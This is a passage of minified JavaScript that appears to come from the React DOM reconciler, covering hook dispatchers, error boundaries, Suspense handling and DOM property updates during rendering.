r=_l(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},_s(e))vs(t,n);else if(n=Wa(e,t,n,r),n!==null){var i=gl();vl(n,e,r,i),ys(n,t,r)}}function gs(e,t,n){var r=_l(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(_s(e))vs(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,s=a(o,n);if(i.hasEagerState=!0,i.eagerState=s,Sr(s,o)){var c=t.interleaved;c===null?(i.next=i,Ua(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}n=Wa(e,t,i,r),n!==null&&(i=gl(),vl(n,e,r,i),ys(n,t,r))}}function _s(e){var t=e.alternate;return e===jo||t!==null&&t===jo}function vs(e,t){Fo=Po=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function ys(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,G(e,n)}}var bs={readContext:Va,useCallback:Ro,useContext:Ro,useEffect:Ro,useImperativeHandle:Ro,useInsertionEffect:Ro,useLayoutEffect:Ro,useMemo:Ro,useReducer:Ro,useRef:Ro,useState:Ro,useDebugValue:Ro,useDeferredValue:Ro,useTransition:Ro,useMutableSource:Ro,useSyncExternalStore:Ro,useId:Ro,unstable_isNewReconciler:!1},xs={readContext:Va,useCallback:function(e,t){return Ho().memoizedState=[e,t===void 0?null:t],e},useContext:Va,useEffect:is,useImperativeHandle:function(e,t,n){return n=n==null?null:n.concat([e]),ns(4194308,4,ss.bind(null,t,e),n)},useLayoutEffect:function(e,t){return ns(4194308,4,e,t)},useInsertionEffect:function(e,t){return ns(4,2,e,t)},useMemo:function(e,t){var n=Ho();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Ho();return t=n===void 0?t:n(t),r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=hs.bind(null,jo,e),[r.memoizedState,e]},useRef:function(e){var t=Ho();return e={current:e},t.memoizedState=e},useState:$o,useDebugValue:ls,useDeferredValue:function(e){return Ho().memoizedState=e},useTransition:function(){var e=$o(!1),t=e[0];return e=ps.bind(null,e[1]),Ho().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var i=jo,a=Ho();if(ba){if(n===void 0)throw Error(r(407));n=n()}else{if(n=t(),Gc===null)throw Error(r(349));Ao&30||Jo(i,t,n)}a.memoizedState=n;var o={value:n,getSnapshot:t};return a.queue=o,is(Xo.bind(null,i,o,e),[e]),i.flags|=2048,es(9,Yo.bind(null,i,o,n,t),void 0,null),n},useId:function(){var e=Ho(),t=Gc.identifierPrefix;if(ba){var n=pa,r=fa;n=(r&~(1<<32-St(r)-1)).toString(32)+n,t=`:`+t+`R`+n,n=Io++,0<n&&(t+=`H`+n.toString(32)),t+=`:`}else n=Lo++,t=`:`+t+`r`+n.toString(32)+`:`;return e.memoizedState=t},unstable_isNewReconciler:!1},Ss={readContext:Va,useCallback:us,useContext:Va,useEffect:as,useImperativeHandle:cs,useInsertionEffect:X,useLayoutEffect:os,useMemo:ds,useReducer:Wo,useRef:ts,useState:function(){return Wo(Uo)},useDebugValue:ls,useDeferredValue:function(e){return fs(Y(),Mo.memoizedState,e)},useTransition:function(){return[Wo(Uo)[0],Y().memoizedState]},useMutableSource:Ko,useSyncExternalStore:qo,useId:ms,unstable_isNewReconciler:!1},Cs={readContext:Va,useCallback:us,useContext:Va,useEffect:as,useImperativeHandle:cs,useInsertionEffect:X,useLayoutEffect:os,useMemo:ds,useReducer:Go,useRef:ts,useState:function(){return Go(Uo)},useDebugValue:ls,useDeferredValue:function(e){var t=Y();return Mo===null?t.memoizedState=e:fs(t,Mo.memoizedState,e)},useTransition:function(){return[Go(Uo)[0],Y().memoizedState]},useMutableSource:Ko,useSyncExternalStore:qo,useId:ms,unstable_isNewReconciler:!1};function ws(e,t){try{var n=``,r=t;do n+=de(r),r=r.return;while(r);var i=n}catch(e){i=`
+Error generating stack: `+e.message+`
+`+e.stack}return{value:e,source:t,stack:i,digest:null}}function Ts(e,t,n){return{value:e,source:null,stack:n??null,digest:t??null}}function Es(e,t){try{console.error(t.value)}catch(e){setTimeout(function(){throw e})}}var Ds=typeof WeakMap==`function`?WeakMap:Map;function Os(e,t,n){n=Ya(-1,n),n.tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){ol||(ol=!0,sl=r),Es(e,t)},n}function ks(e,t,n){n=Ya(-1,n),n.tag=3;var r=e.type.getDerivedStateFromError;if(typeof r==`function`){var i=t.value;n.payload=function(){return r(i)},n.callback=function(){Es(e,t)}}var a=e.stateNode;return a!==null&&typeof a.componentDidCatch==`function`&&(n.callback=function(){Es(e,t),typeof r!=`function`&&(cl===null?cl=new Set([this]):cl.add(this));var n=t.stack;this.componentDidCatch(t.value,{componentStack:n===null?``:n})}),n}function As(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new Ds;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(i.add(n),e=Ul.bind(null,e,t,n),t.then(e,e))}function js(e){do{var t;if((t=e.tag===13)&&(t=e.memoizedState,t=t===null?!0:t.dehydrated!==null),t)return e;e=e.return}while(e!==null);return null}function Ms(e,t,n,r,i){return e.mode&1?(e.flags|=65536,e.lanes=i,e):(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(t=Ya(-1,1),t.tag=2,Xa(n,t,1))),n.lanes|=1),e)}var Ns=C.ReactCurrentOwner,Ps=!1;function Fs(e,t,n,r){t.child=e===null?mo(t,null,n,r):po(t,e.child,n,r)}function Is(e,t,n,r,i){n=n.render;var a=t.ref;return Ba(t,i),r=Bo(e,t,n,r,a,i),n=Vo(),e!==null&&!Ps?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,nc(e,t,i)):(ba&&n&&ga(t),t.flags|=1,Fs(e,t,r,i),t.child)}function Ls(e,t,n,r,i){if(e===null){var a=n.type;return typeof a==`function`&&!Zl(a)&&a.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(t.tag=15,t.type=a,Rs(e,t,a,r,i)):(e=eu(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(a=e.child,(e.lanes&i)===0){var o=a.memoizedProps;if(n=n.compare,n=n===null?Cr:n,n(o,r)&&e.ref===t.ref)return nc(e,t,i)}return t.flags|=1,e=$l(a,r),e.ref=t.ref,e.return=t,t.child=e}function Rs(e,t,n,r,i){if(e!==null){var a=e.memoizedProps;if(Cr(a,r)&&e.ref===t.ref)if(Ps=!1,t.pendingProps=r=a,(e.lanes&i)!==0)e.flags&131072&&(Ps=!0);else return t.lanes=e.lanes,nc(e,t,i)}return Vs(e,t,n,r,i)}function zs(e,t,n){var r=t.pendingProps,i=r.children,a=e===null?null:e.memoizedState;if(r.mode===`hidden`)if(!(t.mode&1))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},Vi(Yc,Jc),Jc|=n;else{if(!(n&1073741824))return e=a===null?n:a.baseLanes|n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,Vi(Yc,Jc),Jc|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=a===null?n:a.baseLanes,Vi(Yc,Jc),Jc|=r}else a===null?r=n:(r=a.baseLanes|n,t.memoizedState=null),Vi(Yc,Jc),Jc|=r;return Fs(e,t,i,n),t.child}function Bs(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function Vs(e,t,n,r,i){var a=qi(n)?Gi:Ui.current;return a=Ki(t,a),Ba(t,i),n=Bo(e,t,n,r,a,i),r=Vo(),e!==null&&!Ps?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,nc(e,t,i)):(ba&&r&&ga(t),t.flags|=1,Fs(e,t,n,i),t.child)}function Hs(e,t,n,r,i){if(qi(n)){var a=!0;Zi(t)}else a=!1;if(Ba(t,i),t.stateNode===null)tc(e,t),ao(t,n,r),so(t,n,r,i),r=!0;else if(e===null){var o=t.stateNode,s=t.memoizedProps;o.props=s;var c=o.context,l=n.contextType;typeof l==`object`&&l?l=Va(l):(l=qi(n)?Gi:Ui.current,l=Ki(t,l));var u=n.getDerivedStateFromProps,d=typeof u==`function`||typeof o.getSnapshotBeforeUpdate==`function`;d||typeof o.UNSAFE_componentWillReceiveProps!=`function`&&typeof o.componentWillReceiveProps!=`function`||(s!==r||c!==l)&&oo(t,o,r,l),Ka=!1;var f=t.memoizedState;o.state=f,$a(t,r,o,i),c=t.memoizedState,s!==r||f!==c||Wi.current||Ka?(typeof u==`function`&&(no(t,n,u,r),c=t.memoizedState),(s=Ka||io(t,n,s,r,f,c,l))?(d||typeof o.UNSAFE_componentWillMount!=`function`&&typeof o.componentWillMount!=`function`||(typeof o.componentWillMount==`function`&&o.componentWillMount(),typeof o.UNSAFE_componentWillMount==`function`&&o.UNSAFE_componentWillMount()),typeof o.componentDidMount==`function`&&(t.flags|=4194308)):(typeof o.componentDidMount==`function`&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=c),o.props=r,o.state=c,o.context=l,r=s):(typeof o.componentDidMount==`function`&&(t.flags|=4194308),r=!1)}else{o=t.stateNode,Ja(e,t),s=t.memoizedProps,l=t.type===t.elementType?s:Ma(t.type,s),o.props=l,d=t.pendingProps,f=o.context,c=n.contextType,typeof c==`object`&&c?c=Va(c):(c=qi(n)?Gi:Ui.current,c=Ki(t,c));var p=n.getDerivedStateFromProps;(u=typeof p==`function`||typeof o.getSnapshotBeforeUpdate==`function`)||typeof o.UNSAFE_componentWillReceiveProps!=`function`&&typeof o.componentWillReceiveProps!=`function`||(s!==d||f!==c)&&oo(t,o,r,c),Ka=!1,f=t.memoizedState,o.state=f,$a(t,r,o,i);var m=t.memoizedState;s!==d||f!==m||Wi.current||Ka?(typeof p==`function`&&(no(t,n,p,r),m=t.memoizedState),(l=Ka||io(t,n,l,r,f,m,c)||!1)?(u||typeof o.UNSAFE_componentWillUpdate!=`function`&&typeof o.componentWillUpdate!=`function`||(typeof o.componentWillUpdate==`function`&&o.componentWillUpdate(r,m,c),typeof o.UNSAFE_componentWillUpdate==`function`&&o.UNSAFE_componentWillUpdate(r,m,c)),typeof o.componentDidUpdate==`function`&&(t.flags|=4),typeof o.getSnapshotBeforeUpdate==`function`&&(t.flags|=1024)):(typeof o.componentDidUpdate!=`function`||s===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!=`function`||s===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=m),o.props=r,o.state=m,o.context=c,r=l):(typeof o.componentDidUpdate!=`function`||s===e.memoizedProps&&f===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!=`function`||s===e.memoizedProps&&f===e.memoizedState||(t.flags|=1024),r=!1)}return Us(e,t,n,r,a,i)}function Us(e,t,n,r,i,a){Bs(e,t);var o=(t.flags&128)!=0;if(!r&&!o)return i&&Qi(t,n,!1),nc(e,t,a);r=t.stateNode,Ns.current=t;var s=o&&typeof n.getDerivedStateFromError!=`function`?null:r.render();return t.flags|=1,e!==null&&o?(t.child=po(t,e.child,null,a),t.child=po(t,null,s,a)):Fs(e,t,s,a),t.memoizedState=r.state,i&&Qi(t,n,!0),t.child}function Ws(e){var t=e.stateNode;t.pendingContext?Yi(e,t.pendingContext,t.pendingContext!==t.context):t.context&&Yi(e,t.context,!1),bo(e,t.containerInfo)}function Gs(e,t,n,r,i){return ka(),Aa(i),t.flags|=256,Fs(e,t,n,r),t.child}var Ks={dehydrated:null,treeContext:null,retryLane:0};function qs(e){return{baseLanes:e,cachePool:null,transitions:null}}function Js(e,t,n){var r=t.pendingProps,i=wo.current,a=!1,o=(t.flags&128)!=0,s;if((s=o)||(s=e!==null&&e.memoizedState===null?!1:(i&2)!=0),s?(a=!0,t.flags&=-129):(e===null||e.memoizedState!==null)&&(i|=1),Vi(wo,i&1),e===null)return Ta(t),e=t.memoizedState,e!==null&&(e=e.dehydrated,e!==null)?(t.mode&1?e.data===`$!`?t.lanes=8:t.lanes=1073741824:t.lanes=1,null):(o=r.children,e=r.fallback,a?(r=t.mode,a=t.child,o={mode:`hidden`,children:o},!(r&1)&&a!==null?(a.childLanes=0,a.pendingProps=o):a=nu(o,r,0,null),e=tu(e,r,n,null),a.return=t,e.return=t,a.sibling=e,t.child=a,t.child.memoizedState=qs(n),t.memoizedState=Ks,e):Ys(t,o));if(i=e.memoizedState,i!==null&&(s=i.dehydrated,s!==null))return Zs(e,t,o,r,s,i,n);if(a){a=r.fallback,o=t.mode,i=e.child,s=i.sibling;var c={mode:`hidden`,children:r.children};return!(o&1)&&t.child!==i?(r=t.child,r.childLanes=0,r.pendingProps=c,t.deletions=null):(r=$l(i,c),r.subtreeFlags=i.subtreeFlags&14680064),s===null?(a=tu(a,o,n,null),a.flags|=2):a=$l(s,a),a.return=t,r.return=t,r.sibling=a,t.child=r,r=a,a=t.child,o=e.child.memoizedState,o=o===null?qs(n):{baseLanes:o.baseLanes|n,cachePool:null,transitions:o.transitions},a.memoizedState=o,a.childLanes=e.childLanes&~n,t.memoizedState=Ks,r}return a=e.child,e=a.sibling,r=$l(a,{mode:`visible`,children:r.children}),!(t.mode&1)&&(r.lanes=n),r.return=t,r.sibling=null,e!==null&&(n=t.deletions,n===null?(t.deletions=[e],t.flags|=16):n.push(e)),t.child=r,t.memoizedState=null,r}function Ys(e,t){return t=nu({mode:`visible`,children:t},e.mode,0,null),t.return=e,e.child=t}function Xs(e,t,n,r){return r!==null&&Aa(r),po(t,e.child,null,n),e=Ys(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function Zs(e,t,n,i,a,o,s){if(n)return t.flags&256?(t.flags&=-257,i=Ts(Error(r(422))),Xs(e,t,s,i)):t.memoizedState===null?(o=i.fallback,a=t.mode,i=nu({mode:`visible`,children:i.children},a,0,null),o=tu(o,a,s,null),o.flags|=2,i.return=t,o.return=t,i.sibling=o,t.child=i,t.mode&1&&po(t,e.child,null,s),t.child.memoizedState=qs(s),t.memoizedState=Ks,o):(t.child=e.child,t.flags|=128,null);if(!(t.mode&1))return Xs(e,t,s,null);if(a.data===`$!`){if(i=a.nextSibling&&a.nextSibling.dataset,i)var c=i.dgst;return i=c,o=Error(r(419)),i=Ts(o,i,void 0),Xs(e,t,s,i)}if(c=(s&e.childLanes)!==0,Ps||c){if(i=Gc,i!==null){switch(s&-s){case 4:a=2;break;case 16:a=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:a=32;break;case 536870912:a=268435456;break;default:a=0}a=(a&(i.suspendedLanes|s))===0?a:0,a!==0&&a!==o.retryLane&&(o.retryLane=a,Ga(e,a),vl(i,e,a,-1))}return Ml(),i=Ts(Error(r(421))),Xs(e,t,s,i)}return a.data===`$?`?(t.flags|=128,t.child=e.child,t=Gl.bind(null,e),a._reactRetry=t,null):(e=o.treeContext,ya=wi(a.nextSibling),va=t,ba=!0,xa=null,e!==null&&(la[ua++]=fa,la[ua++]=pa,la[ua++]=da,fa=e.id,pa=e.overflow,da=t),t=Ys(t,i.children),t.flags|=4096,t)}function Qs(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),za(e.return,t,n)}function $s(e,t,n,r,i){var a=e.memoizedState;a===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:i}:(a.isBackwards=t,a.rendering=null,a.renderingStartTime=0,a.last=r,a.tail=n,a.tailMode=i)}function ec(e,t,n){var r=t.pendingProps,i=r.revealOrder,a=r.tail;if(Fs(e,t,r.children,n),r=wo.current,r&2)r=r&1|2,t.flags|=128;else{if(e!==null&&e.flags&128)a:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&Qs(e,n,t);else if(e.tag===19)Qs(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break a;for(;e.sibling===null;){if(e.return===null||e.return===t)break a;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(Vi(wo,r),!(t.mode&1))t.memoizedState=null;else switch(i){case`forwards`:for(n=t.child,i=null;n!==null;)e=n.alternate,e!==null&&To(e)===null&&(i=n),n=n.sibling;n=i,n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null),$s(t,!1,i,n,a);break;case`backwards`:for(n=null,i=t.child,t.child=null;i!==null;){if(e=i.alternate,e!==null&&To(e)===null){t.child=i;break}e=i.sibling,i.sibling=n,n=i,i=e}$s(t,!0,n,null,a);break;case`together`:$s(t,!1,null,null,void 0);break;default:t.memoizedState=null}return t.child}function tc(e,t){!(t.mode&1)&&e!==null&&(e.alternate=null,t.alternate=null,t.flags|=2)}function nc(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),Qc|=t.lanes,(n&t.childLanes)===0)return null;if(e!==null&&t.child!==e.child)throw Error(r(153));if(t.child!==null){for(e=t.child,n=$l(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=$l(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function rc(e,t,n){switch(t.tag){case 3:Ws(t),ka();break;case 5:So(t);break;case 1:qi(t.type)&&Zi(t);break;case 4:bo(t,t.stateNode.containerInfo);break;case 10:var r=t.type._context,i=t.memoizedProps.value;Vi(Na,r._currentValue),r._currentValue=i;break;case 13:if(r=t.memoizedState,r!==null)return r.dehydrated===null?(n&t.child.childLanes)===0?(Vi(wo,wo.current&1),e=nc(e,t,n),e===null?null:e.sibling):Js(e,t,n):(Vi(wo,wo.current&1),t.flags|=128,null);Vi(wo,wo.current&1);break;case 19:if(r=(n&t.childLanes)!==0,e.flags&128){if(r)return ec(e,t,n);t.flags|=128}if(i=t.memoizedState,i!==null&&(i.rendering=null,i.tail=null,i.lastEffect=null),Vi(wo,wo.current),r)break;return null;case 22:case 23:return t.lanes=0,zs(e,t,n)}return nc(e,t,n)}var ic=function(e,t){for(var n=t.child;n!==null;){if(n.tag===5||n.tag===6)e.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===t)break;for(;n.sibling===null;){if(n.return===null||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}},ac=function(e,t,n,r){var i=e.memoizedProps;if(i!==r){e=t.stateNode,yo(go.current);var a=null;switch(n){case`input`:i=be(e,i),r=be(e,r),a=[];break;case`select`:i=oe({},i,{value:void 0}),r=oe({},r,{value:void 0}),a=[];break;case`textarea`:i=Oe(e,i),r=Oe(e,r),a=[];break;default:typeof i.onClick!=`function`&&typeof r.onClick==`function`&&(e.onclick=mi)}Ve(n,r);var o;for(u in n=null,i)if(!r.hasOwnProperty(u)&&i.hasOwnProperty(u)&&i[u]!=null)if(u===`style`){var c=i[u];for(o in c)c.hasOwnProperty(o)&&(n||={},n[o]=``)}else u!==`dangerouslySetInnerHTML`&&u!==`children`&&u!==`suppressContentEditableWarning`&&u!==`suppressHydrationWarning`&&u!==`autoFocus`&&(s.hasOwnProperty(u)?a||=[]:(a||=[]).push(u,null));for(u in r){var l=r[u];if(c=i?.[u],r.hasOwnProperty(u)&&l!==c&&(l!=null||c!=null))if(u===`style`)if(c){for(o in c)!c.hasOwnProperty(o)||l&&l.hasOwnProperty(o)||(n||={},n[o]=``);for(o in l)l.hasOwnProperty(o)&&c[o]!==l[o]&&(n||={},n[o]=l[o])}else n||(a||=[],a.push(u,n)),n=l;else u===`dangerouslySetInnerHTML`?(l=l?l.__html:void 0,c=c?c.__html:void 0,l!=null&&c!==l&&(a||=[]).push(u,l)):u===`children`?typeof l!=`string`&&typeof l!=`number`||(a||=[]).push(u,``+l):u!==`suppressContentEditableWarning`&&u!==`suppressHydrationWarning`&&(s.hasOwnProperty(u)?(l!=null&&u===`onScroll`&&ei(`scroll`,e),a||c===l||(a=[])):(a||=[]).push(u,l))}n&&(a||=[]).push(`style`,n);var u=a;(t.updateQueue=u)&&(t.flags|=4)}},oc=function(e,t,n,r){n!==r&&(t.flags|=4)};function sc(e,t){if(!ba)switch(e.tailMode){case`hidden`:t=e.tail;for(var n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null;break;case`collapsed`:n=e.tail;for(var r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null}}function cc(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags&14680064,r|=i.flags&14680064,i.return=e,i=i.sibling;else for(i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags,r|=i.flags,i.return=e,i=i.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function lc(e,t,n){var i=t.pendingProps;switch(_a(t),t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return cc(t),null;case 1:return qi(t.type)&&Ji(),cc(t),null;case 3:return i=t.stateNode,xo(),Bi(Wi),Bi(Ui),Do(),i.pendingContext&&(i.context=i.pendingContext,i.pendingContext=null),(e===null||e.child===null)&&(Da(t)?t.flags|=4:e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,xa!==null&&(Sl(xa),xa=null))),cc(t),null;case 5:Co(t);var a=yo(vo.current);if(n=t.type,e!==null&&t.stateNode!=null)ac(e,t,n,i,a),e.ref!==t.ref&&(t.flags|=512,t.flags|=2097152);else{if(!i){if(t.stateNode===null)throw Error(r(166));return cc(t),null}if(e=yo(go.current),Da(t)){i=t.stateNode,n=t.type;var o=t.memoizedProps;switch(i[Di]=t,i[Oi]=o,e=(t.mode&1)!=0,n){case`dialog`:ei(`cancel`,i),ei(`close`,i);break;case`iframe`:case`object`:case`embed`:ei(`load`,i);break;case`video`:case`audio`:for(a=0;a<Xr.length;a++)ei(Xr[a],i);break;case`source`:ei(`error`,i);break;case`img`:case`image`:case`link`:ei(`error`,i),ei(`load`,i);break;case`details`:ei(`toggle`,i);break;case`input`:xe(i,o),ei(`invalid`,i);break;case`select`:i._wrapperState={wasMultiple:!!o.multiple},ei(`invalid`,i);break;case`textarea`:ke(i,o),ei(`invalid`,i)}for(var c in Ve(n,o),a=null,o)if(o.hasOwnProperty(c)){var l=o[c];c===`children`?typeof l==`string`?i.textContent!==l&&(!0!==o.suppressHydrationWarning&&pi(i.textContent,l,e),a=[`children`,l]):typeof l==`number`&&i.textContent!==``+l&&(!0!==o.suppressHydrationWarning&&pi(i.textContent,l,e),a=[`children`,``+l]):s.hasOwnProperty(c)&&l!=null&&c===`onScroll`&&ei(`scroll`,i)}switch(n){case`input`:_e(i),we(i,o,!0);break;case`textarea`:_e(i),je(i);break;case`select`:case`option`:break;default:typeof o.onClick==`function`&&(i.onclick=mi)}i=a,t.updateQueue=i,i!==null&&(t.flags|=4)}else{c=a.nodeType===9?a:a.ownerDocument,e===`http://www.w3.org/1999/xhtml`&&(e=N(n)),e===`http://www.w3.org/1999/xhtml`?n===`script`?(e=c.createElement(`div`),e.innerHTML=`<script><\/script>`,e=e.removeChild(e.firstChild)):typeof i.is==`string`?e=c.createElement(n,{is:i.is}):(e=c.createElement(n),n===`select`&&(c=e,i.multiple?c.multiple=!0:i.size&&(c.size=i.size))):e=c.createElementNS(e,n),e[Di]=t,e[Oi]=i,ic(e,t,!1,!1),t.stateNode=e;a:{switch(c=He(n,i),n){case`dialog`:ei(`cancel`,e),ei(`close`,e),a=i;break;case`iframe`:case`object`:case`embed`:ei(`load`,e),a=i;break;case`video`:case`audio`:for(a=0;a<Xr.length;a++)ei(Xr[a],e);a=i;break;case`source`:ei(`error`,e),a=i;break;case`img`:case`image`:case`link`:ei(`error`,e),ei(`load`,e),a=i;break;case`details`:ei(`toggle`,e),a=i;break;case`input`:xe(e,i),a=be(e,i),ei(`invalid`,e);break;case`option`:a=i;break;case`select`:e._wrapperState={wasMultiple:!!i.multiple},a=oe({},i,{value:void 0}),ei(`invalid`,e);break;case`textarea`:ke(e,i),a=Oe(e,i),ei(`invalid`,e);break;default:a=i}for(o in Ve(n,a),l=a,l)if(l.hasOwnProperty(o)){var u=l[o];o===`style`?ze(e,u):o===`dangerouslySetInnerHTML`?(u=u?u.__html:void 0,u!=null&&Pe(e,u)):o===`children`?typeof u==`string`?(n!==`textarea`||u!==``)&&Fe(e,u):typeof u==`number`&&Fe(e,``+u):o!==`suppressContentEditableWarning`&&o!==`suppressHydrationWarning`&&o!==`autoFocus`&&(s.hasOwnProperty(o)?u!=null&&o===`onScroll`&&ei(`scroll`,e):u!=null&&S(e,o,u,c))}switch(n){case`input`:_e(e),we(e,i,!1);break;case`textarea`:_e(e),je(e);break;case`option`:i.value!=null&&e.setAttribute(`value`,``+me(i.value));break;case`select`:e.multiple=!!i.multiple,o=i.value,o==null?i.defaultValue!=null&&De(e,!!i.multiple,i.defaultValue,!0):De(e,!!i.multiple,o,!1);break;default:typeof a.onClick==`function`&&(e.onclick=mi)}switch(n){case`button`:case`input`:case`select`:case`textarea`:i=!!i.autoFocus;break a;case`img`:i=!0;break a;default:i=!1}}i&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return cc(t),null;case 6:if(e&&t.stateNode!=null)oc(e,t,e.memoizedProps,i);else{if(typeof i!=`string`&&t.stateNode===null)throw Error(r(166));if(n=yo(vo.current),yo(go.current),Da(t)){if(i=t.stateNode,n=t.memoizedProps,i[Di]=t,(o=i.nodeValue!==n)&&(e=va,e!==null))switch(e.tag){case 3:pi(i.nodeValue,n,(e.mode&1)!=0);break;case 5:!0!==e.memoizedProps.suppressHydrationWarning&&pi(i.nodeValue,n,(e.mode&1)!=0)}o&&(t.flags|=4)}else i=(n.nodeType===9?n:n.ownerDocument).createTextNode(i),i[Di]=t,t.stateNode=i}return cc(t),null;case 13:if(Bi(wo),i=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(ba&&ya!==null&&t.mode&1&&!(t.flags&128))Oa(),ka(),t.flags|=98560,o=!1;else if(o=Da(t),i!==null&&i.dehydrated!==null){if(e===null){if(!o)throw Error(r(318));if(o=t.memoizedState,o=o===null?null:o.dehydrated,!o)throw Error(r(317));o[Di]=t}else ka(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;cc(t),o=!1}else xa!==null&&(Sl(xa),xa=null),o=!0;if(!o)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(i=i!==null,i!==(e!==null&&e.memoizedState!==null)&&i&&(t.child.flags|=8192,t.mode&1&&(e===null||wo.current&1?Xc===0&&(Xc=3):Ml())),t.updateQueue!==null&&(t.flags|=4),cc(t),null);case 4:return xo(),e===null&&ri(t.stateNode.containerInfo),cc(t),null;case 10:return Ra(t.type._context),cc(t),null;case 17:return qi(t.type)&&Ji(),cc(t),null;case 19:if(Bi(wo),o=t.memoizedState,o===null)return cc(t),null;if(i=(t.flags&128)!=0,c=o.rendering,c===null)if(i)sc(o,!1);else{if(Xc!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(c=To(e),c!==null){for(t.flags|=128,sc(o,!1),i=c.updateQueue,i!==null&&(t.updateQueue=i,t.flags|=4),t.subtreeFlags=0,i=n,n=t.child;n!==null;)o=n,e=i,o.flags&=14680066,c=o.alternate,c===null?(o.childLanes=0,o.lanes=e,o.child=null,o.subtreeFlags=0,o.memoizedProps=null,o.memoizedState=null,o.updateQueue=null,o.dependencies=null,o.stateNode=null):(o.childLanes=c.childLanes,o.lanes=c.lanes,o.child=c.child,o.subtreeFlags=0,o.deletions=null,o.memoizedProps=c.memoizedProps,o.memoizedState=c.memoizedState,o.updateQueue=c.updateQueue,o.type=c.type,e=c.dependencies,o.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return Vi(wo,wo.current&1|2),t.child}e=e.sibling}o.tail!==null&&H()>il&&(t.flags|=128,i=!0,sc(o,!1),t.lanes=4194304)}else{if(!i)if(e=To(c),e!==null){if(t.flags|=128,i=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),sc(o,!0),o.tail===null&&o.tailMode===`hidden`&&!c.alternate&&!ba)return cc(t),null}else 2*H()-o.renderingStartTime>il&&n!==1073741824&&(t.flags|=128,i=!0,sc(o,!1),t.lanes=4194304);o.isBackwards?(c.sibling=t.child,t.child=c):(n=o.last,n===null?t.child=c:n.sibling=c,o.last=c)}return o.tail===null?(cc(t),null):(t=o.tail,o.rendering=t,o.tail=t.sibling,o.renderingStartTime=H(),t.sibling=null,n=wo.current,Vi(wo,i?n&1|2:n&1),t);case 22:case 23:return Ol(),i=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==i&&(t.flags|=8192),i&&t.mode&1?Jc&1073741824&&(cc(t),t.subtreeFlags&6&&(t.flags|=8192)):cc(t),null;case 24:return null;case 25:return null}throw Error(r(156,t.tag))}function uc(e,t){switch(_a(t),t.tag){case 1:return 